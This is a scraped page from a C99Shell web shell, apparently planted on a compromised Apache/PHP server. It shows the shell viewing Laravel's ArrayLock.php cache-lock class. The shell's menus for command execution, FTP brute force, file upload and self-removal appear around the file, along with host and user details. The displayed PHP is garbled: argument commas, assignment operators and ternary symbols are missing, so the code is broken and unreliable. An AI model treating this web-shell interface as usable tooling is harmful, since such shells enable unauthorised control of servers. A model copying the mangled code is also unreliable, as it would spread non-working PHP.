!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/cache/   drwxr-xr-x
Free 13.3 GB of 57.97 GB (22.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArrayLock.php (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Cache;

use 
Illuminate\Support\Carbon;

class 
ArrayLock extends Lock
{
    
/**
     * The parent array cache store.
     *
     * @var \Illuminate\Cache\ArrayStore
     */
    
protected $store;

    
/**
     * Create a new lock instance.
     *
     * @param  \Illuminate\Cache\ArrayStore  $store
     * @param  string  $name
     * @param  int  $seconds
     * @param  string|null  $owner
     * @return void
     */
    
public function __construct($store$name$seconds$owner null)
    {
        
parent::__construct($name$seconds$owner);

        
$this->store $store;
    }

    
/**
     * Attempt to acquire the lock.
     *
     * @return bool
     */
    
public function acquire()
    {
        
$expiration $this->store->locks[$this->name]['expiresAt'] ?? Carbon::now()->addSecond();

        if (
$this->exists() && $expiration->isFuture()) {
            return 
false;
        }

        
$this->store->locks[$this->name] = [
            
'owner' => $this->owner,
            
'expiresAt' => $this->seconds === null Carbon::now()->addSeconds($this->seconds),
        ];

        return 
true;
    }

    
/**
     * Determine if the current lock exists.
     *
     * @return bool
     */
    
protected function exists()
    {
        return isset(
$this->store->locks[$this->name]);
    }

    
/**
     * Release the lock.
     *
     * @return bool
     */
    
public function release()
    {
        if (! 
$this->exists()) {
            return 
false;
        }

        if (! 
$this->isOwnedByCurrentProcess()) {
            return 
false;
        }

        
$this->forceRelease();

        return 
true;
    }

    
/**
     * Returns the owner value written into the driver for this lock.
     *
     * @return string
     */
    
protected function getCurrentOwner()
    {
        return 
$this->store->locks[$this->name]['owner'];
    }

    
/**
     * Releases this lock in disregard of ownership.
     *
     * @return void
     */
    
public function forceRelease()
    {
        unset(
$this->store->locks[$this->name]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--